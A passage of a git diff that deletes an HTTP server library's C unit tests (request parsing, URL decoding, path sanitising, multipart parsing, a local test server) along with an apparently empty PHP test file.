FAIL(str, line) do { \ - printf("Fail on line %d: [%s]\n", line, str); \ - return str; \ -} while (0) - -#define ASSERT(expr) do { \ - static_num_tests++; \ - if (!(expr)) FAIL(#expr, __LINE__); \ -} while (0) - -#define RUN_TEST(test) do { const char *msg = test(); \ - if (msg) return msg; } while (0) - -#define HTTP_PORT "45772" -#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT - -static int static_num_tests = 0; - -// Connects to host:port, and sends formatted request to it. Returns -// malloc-ed reply and reply length, or NULL on error. Reply contains -// everything including headers, not just the message body. -static char *wget(const char *host, int port, int *len, const char *fmt, ...) { - char buf[2000], *reply = NULL; - int request_len, reply_size = 0, n, sock = -1; - struct sockaddr_in sin; - struct hostent *he = NULL; - va_list ap; - - if (host != NULL && - (he = gethostbyname(host)) != NULL && - (sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) { - sin.sin_family = AF_INET; - sin.sin_port = htons((uint16_t) port); - sin.sin_addr = * (struct in_addr *) he->h_addr_list[0]; - if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) { - - // Format and send the request. - va_start(ap, fmt); - request_len = vsnprintf(buf, sizeof(buf), fmt, ap); - va_end(ap); - while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) { - request_len -= n; - } - if (request_len == 0) { - *len = 0; - while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) { - if (*len + n > reply_size) { - reply = realloc(reply, reply_size + sizeof(buf)); // Leak possible - reply_size += sizeof(buf); - } - if (reply != NULL) { - memcpy(reply + *len, buf, n); - *len += n; - } - } - } - closesocket(sock); - } - } - - return reply; -} - -static char *read_file(const char *path, int *size) { - FILE *fp; - struct stat st; - char *data = NULL; - if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) { - *size = (int) st.st_size; - assert((data = malloc(*size)) != NULL); - assert(fread(data, 1, *size, fp) == (size_t) *size); - fclose(fp); - } - return data; -} - -static const char *test_parse_http_message() { - struct mg_connection ri; - char req1[] = "GET / HTTP/1.1\r\n\r\n"; - char req2[] = "BLAH / HTTP/1.1\r\n\r\n"; - char req3[] = "GET / HTTP/1.1\r\nBah\r\n"; - char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n"; - char req5[] = "GET / HTTP/1.1\r\n\r\n"; - char req6[] = "G"; - char req7[] = " blah "; - char req8[] = " HTTP/1.1 200 OK \n\n"; - char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n"; - - ASSERT(get_request_len("\r\n", 3) == -1); - ASSERT(get_request_len("\r\n", 2) == 0); - ASSERT(get_request_len("GET", 3) == 0); - ASSERT(get_request_len("\n\n", 2) == 2); - ASSERT(get_request_len("\n\r\n", 3) == 3); - ASSERT(get_request_len("\xdd\xdd", 2) == 0); - ASSERT(get_request_len("\xdd\x03", 2) == -1); - ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0); - ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0); - ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0); - - ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1); - ASSERT(ri.num_headers == 1); - - ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1); - ASSERT(strcmp(ri.http_version, "1.1") == 0); - ASSERT(ri.num_headers == 0); - - ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1); - ASSERT(parse_http_message(req6, 0, &ri) == -1); - ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1); - - // TODO(lsm): Fix this. Header value may span multiple lines. - ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1); - ASSERT(strcmp(ri.http_version, "1.1") == 0); - ASSERT(ri.num_headers == 3); - ASSERT(strcmp(ri.http_headers[0].name, "A") == 0); - ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0); - ASSERT(strcmp(ri.http_headers[1].name, "B") == 0); - ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0); - ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0); - ASSERT(strcmp(ri.http_headers[2].value, "") == 0); - - ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1); - ASSERT(strcmp(ri.request_method, "GET") == 0); - ASSERT(strcmp(ri.http_version, "1.1") == 0); - - return NULL; -} - -static const char *test_should_keep_alive(void) { - struct mg_connection conn; - char req1[] = "GET / HTTP/1.1\r\n\r\n"; - char req2[] = "GET / HTTP/1.0\r\n\r\n"; - char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n"; - char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n"; - - memset(&conn, 0, sizeof(conn)); - ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1); - ASSERT(should_keep_alive(&conn) != 0); - - parse_http_message(req2, sizeof(req2) - 1, &conn); - ASSERT(should_keep_alive(&conn) == 0); - - parse_http_message(req3, sizeof(req3) - 1, &conn); - ASSERT(should_keep_alive(&conn) == 0); - - parse_http_message(req4, sizeof(req4) - 1, &conn); - ASSERT(should_keep_alive(&conn) != 0); - - return NULL; -} - -static const char *test_match_prefix(void) { - ASSERT(match_prefix("/api", 4, "/api") == 4); - ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3); - ASSERT(match_prefix("/a/", 3, "/ab/c") == -1); - ASSERT(match_prefix("/*/", 3, "/ab/c") == 4); - ASSERT(match_prefix("**", 2, "/a/b/c") == 6); - ASSERT(match_prefix("/*", 2, "/a/b/c") == 2); - ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2); - ASSERT(match_prefix("**/", 3, "/a/b/c") == 5); - ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5); - ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2); - ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2); - ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1); - ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1); - ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12); - ASSERT(match_prefix("**/", 3, "/a/b/c") == 5); - ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1); - ASSERT(match_prefix("**/$", 4, "/a/b/") == 5); - ASSERT(match_prefix("$", 1, "") == 0); - ASSERT(match_prefix("$", 1, "x") == -1); - ASSERT(match_prefix("*$", 2, "x") == 1); - ASSERT(match_prefix("/$", 2, "/") == 1); - ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1); - ASSERT(match_prefix("**/$", 4, "/a/b/") == 5); - ASSERT(match_prefix("*", 1, "/hello/") == 0); - ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1); - ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6); - ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6); - ASSERT(match_prefix("**o$", 4, "HELLO") == 5); - return NULL; -} - -static const char *test_remove_double_dots() { - struct { char before[20], after[20]; } data[] = { - {"////a", "/a"}, - {"/.....", "/."}, - {"/......", "/"}, - {"...", "..."}, - {"/...///", "/./"}, - {"/a...///", "/a.../"}, - {"/.x", "/.x"}, - {"/\\", "/"}, - {"/a\\", "/a\\"}, - {"/a\\\\...", "/a\\."}, - }; - size_t i; - - for (i = 0; i < ARRAY_SIZE(data); i++) { - remove_double_dots_and_double_slashes(data[i].before); - ASSERT(strcmp(data[i].before, data[i].after) == 0); - } - - return NULL; -} - -static const char *test_get_var(void) { - static const char *post[] = { - "a=1&&b=2&d&=&c=3%20&e=", - "q=&st=2012%2F11%2F13+17%3A05&et=&team_id=", - NULL - }; - char buf[20]; - - ASSERT(get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1); - ASSERT(buf[0] == '1' && buf[1] == '\0'); - ASSERT(get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1); - ASSERT(buf[0] == '2' && buf[1] == '\0'); - ASSERT(get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2); - ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0'); - ASSERT(get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0); - ASSERT(buf[0] == '\0'); - - ASSERT(get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1); - ASSERT(get_var(post[0], strlen(post[0]), "c", buf, 2) == -2); - - ASSERT(get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2); - ASSERT(get_var(post[0], strlen(post[0]), "x", buf, 0) == -2); - ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 16) == -2); - ASSERT(get_var(post[1], strlen(post[1]), "st", buf, 17) == 16); - return NULL; -} - -static const char *test_url_decode(void) { - char buf[100]; - - ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0 - ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3); - ASSERT(strcmp(buf, "foo") == 0); - - ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2); - ASSERT(strcmp(buf, "a+") == 0); - - ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2); - ASSERT(strcmp(buf, "a ") == 0); - - ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1); - ASSERT(strcmp(buf, "%") == 0); - - ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2); - ASSERT(strcmp(buf, "%6") == 0); - - ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1); - ASSERT(strcmp(buf, "a") == 0); - return NULL; -} - -static const char *test_to64(void) { - ASSERT(to64("0") == 0); - ASSERT(to64("") == 0); - ASSERT(to64("123") == 123); - ASSERT(to64("-34") == -34); - ASSERT(to64("3566626116") == 3566626116); - return NULL; -} - -static const char *test_parse_port_string(void) { - static const char *valid[] = { - "1", "1.2.3.4:1", -#if defined(USE_IPV6) - "[::1]:123", "[3ffe:2a00:100:7031::1]:900", -#endif - NULL - }; - static const char *invalid[] = { - "0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL - }; - union socket_address sa; - int i; - - for (i = 0; valid[i] != NULL; i++) { - ASSERT(parse_port_string(valid[i], &sa) != 0); - } - - for (i = 0; invalid[i] != NULL; i++) { - ASSERT(parse_port_string(invalid[i], &sa) == 0); - } - - return NULL; -} - -static const char *test_base64_encode(void) { - const char *in[] = {"a", "ab", "abc", "abcd", NULL}; - const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="}; - char buf[100]; - int i; - - for (i = 0; in[i] != NULL; i++) { - base64_encode((unsigned char *) in[i], strlen(in[i]), buf); - ASSERT(!strcmp(buf, out[i])); - } - - return NULL; -} - -static const char *test_mg_parse_header(void) { - const char *str = "xx=1 kl yy, ert=234 kl=123, " - "ii=\"12\\\"34\" zz='aa bb', gf=\"xx d=1234"; - char buf[10]; - ASSERT(mg_parse_header(str, "yy", buf, sizeof(buf)) == 0); - ASSERT(mg_parse_header(str, "ert", buf, sizeof(buf)) == 3); - ASSERT(strcmp(buf, "234") == 0); - ASSERT(mg_parse_header(str, "ert", buf, 2) == 0); - ASSERT(mg_parse_header(str, "ert", buf, 3) == 0); - ASSERT(mg_parse_header(str, "ert", buf, 4) == 3); - ASSERT(mg_parse_header(str, "gf", buf, sizeof(buf)) == 0); - ASSERT(mg_parse_header(str, "zz", buf, sizeof(buf)) == 5); - ASSERT(strcmp(buf, "aa bb") == 0); - ASSERT(mg_parse_header(str, "d", buf, sizeof(buf)) == 4); - ASSERT(strcmp(buf, "1234") == 0); - buf[0] = 'x'; - ASSERT(mg_parse_header(str, "MMM", buf, sizeof(buf)) == 0); - ASSERT(buf[0] == '\0'); - ASSERT(mg_parse_header(str, "kl", buf, sizeof(buf)) == 3); - ASSERT(strcmp(buf, "123") == 0); - ASSERT(mg_parse_header(str, "xx", buf, sizeof(buf)) == 1); - ASSERT(strcmp(buf, "1") == 0); - ASSERT(mg_parse_header(str, "ii", buf, sizeof(buf)) == 5); - ASSERT(strcmp(buf, "12\"34") == 0); - return NULL; -} - -static const char *test_next_option(void) { - const char *p, *list = "x/8,/y**=1;2k,z"; - struct vec a, b; - int i; - - ASSERT(next_option(NULL, &a, &b) == NULL); - for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) { - ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0)); - ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 && - b.len == 4)); - - ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0)); - } - return NULL; -} - -static int cb1(struct mg_connection *conn) { - // We're not sending HTTP headers here, to make testing easier - mg_printf(conn, "%s %s %s", - conn->server_param == NULL ? "?" : (char *) conn->server_param, - conn->connection_param == NULL ? "?" : "!", conn->remote_ip); - return 1; -} - -static const char *test_regular_file(void) { - static const char *fname = "main.c"; - int reply_len, file_len; - char *reply, *file_data; - file_stat_t st; - - ASSERT(stat(fname, &st) == 0); - ASSERT(st.st_size > 0); - - ASSERT((file_data = read_file(fname, &file_len)) != NULL); - ASSERT(file_len == st.st_size); - - reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, - "GET /%s.c HTTP/1.0\r\n\r\n", fname); - ASSERT(reply != NULL); - ASSERT(reply_len > 0); - // TODO(lsm): test headers and content - - free(reply); - free(file_data); - - return NULL; -} - -static const char *test_server_param(void) { - int reply_len; - char *reply; - - reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s", - "GET /cb1 HTTP/1.0\r\n\r\n"); - ASSERT(reply != NULL); - ASSERT(reply_len == 15); - // cb1() does not send HTTP headers - ASSERT(memcmp(reply, "foo ? 127.0.0.1", 5) == 0); - //printf("%d [%.*s]\n", reply_len, reply_len, reply); - free(reply); - - return NULL; -} - -static int error_handler(struct mg_connection *conn) { - mg_printf(conn, "error: %d", conn->status_code); - return 1; -} - -static const char *test_error_handler(void) { - int reply_len; - char *reply; - - reply = wget("127.0.0.1", atoi(HTTP_PORT), &reply_len, "%s", - "GET /non_exist HTTP/1.0\r\n\r\n"); - ASSERT(reply != NULL); - ASSERT(reply_len == 10); - ASSERT(memcmp(reply, "error: 404", 10) == 0); - free(reply); - - return NULL; -} - -static void *server_thread(void *param) { - int i; - for (i = 0; i < 10; i++) mg_poll_server((struct mg_server *) param, 1); - return NULL; -} - -static const char *test_server(void) { - struct mg_server *server = mg_create_server("foo"); - - ASSERT(server != NULL); - ASSERT(mg_set_option(server, "listening_port", LISTENING_ADDR) == NULL); - ASSERT(mg_set_option(server, "document_root", ".") == NULL); - mg_add_uri_handler(server, "/cb1", cb1); - mg_set_http_error_handler(server, error_handler); - mg_start_thread(server_thread, server); - RUN_TEST(test_regular_file); - RUN_TEST(test_server_param); - RUN_TEST(test_error_handler); - - // TODO(lsm): come up with a better way of thread sync - sleep(1); - - ASSERT(strcmp(static_config_options[URL_REWRITES * 2], "url_rewrites") == 0); - - mg_destroy_server(&server); - ASSERT(server == NULL); - return NULL; -} - -#define DISP "Content-Disposition: form/data; " -#define CRLF "\r\n" -#define BOUNDARY "--xyz" -static const char *test_parse_multipart(void) { - char a[100], b[100]; - const char *p; - static const char f1[] = BOUNDARY CRLF DISP "name=f1" CRLF CRLF - "some_content" CRLF BOUNDARY CRLF - BOUNDARY CRLF DISP "name=f2; filename=\"foo bar.txt\"" CRLF CRLF - "another_content" CRLF BOUNDARY CRLF - "--" CRLF; - int n, n2, len, f1_len = sizeof(f1) - 1; - - ASSERT(mg_parse_multipart("", 0, a, sizeof(a), b, sizeof(b), &p, &len) == 0); - ASSERT(mg_parse_multipart("a", 1, a, sizeof(a), b, sizeof(b), &p, &len) == 0); - ASSERT((n = mg_parse_multipart(f1, f1_len, a, sizeof(a), - b, sizeof(b), &p, &len)) > 0); - ASSERT(len == 12); - ASSERT(memcmp(p, "some_content", len) == 0); - ASSERT(strcmp(a, "f1") == 0); - ASSERT(b[0] == '\0'); - - ASSERT((n2 = mg_parse_multipart(f1 + n, f1_len - n, a, sizeof(a), - b, sizeof(b), &p, &len)) > 0); - ASSERT(len == 15); - ASSERT(memcmp(p, "another_content", len) == 0); - ASSERT(strcmp(a, "f2") == 0); - ASSERT(strcmp(b, "foo bar.txt") == 0); - - ASSERT((n2 = mg_parse_multipart(f1 + n + n2, f1_len - (n + n2), a, sizeof(a), - b, sizeof(b), &p, &len)) == 0); - - return NULL; -} - -static const char *run_all_tests(void) { - RUN_TEST(test_should_keep_alive); - RUN_TEST(test_match_prefix); - RUN_TEST(test_remove_double_dots); - RUN_TEST(test_parse_http_message); - RUN_TEST(test_parse_port_string); - RUN_TEST(test_to64); - RUN_TEST(test_url_decode); - RUN_TEST(test_base64_encode); - RUN_TEST(test_mg_parse_header); - RUN_TEST(test_get_var); - RUN_TEST(test_next_option); - RUN_TEST(test_server); - RUN_TEST(test_parse_multipart); - return NULL; -} - -int __cdecl main(void) { - const char *fail_msg = run_all_tests(); - printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests); - return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE; -} diff --git a/build/test/x.php b/build/test/x.php deleted file mode 100644 index cd328429..00000000 --- a/build/test/x.php +++ /dev/null @@ -1,9 +0,0 @@ - -
- - -
- - - -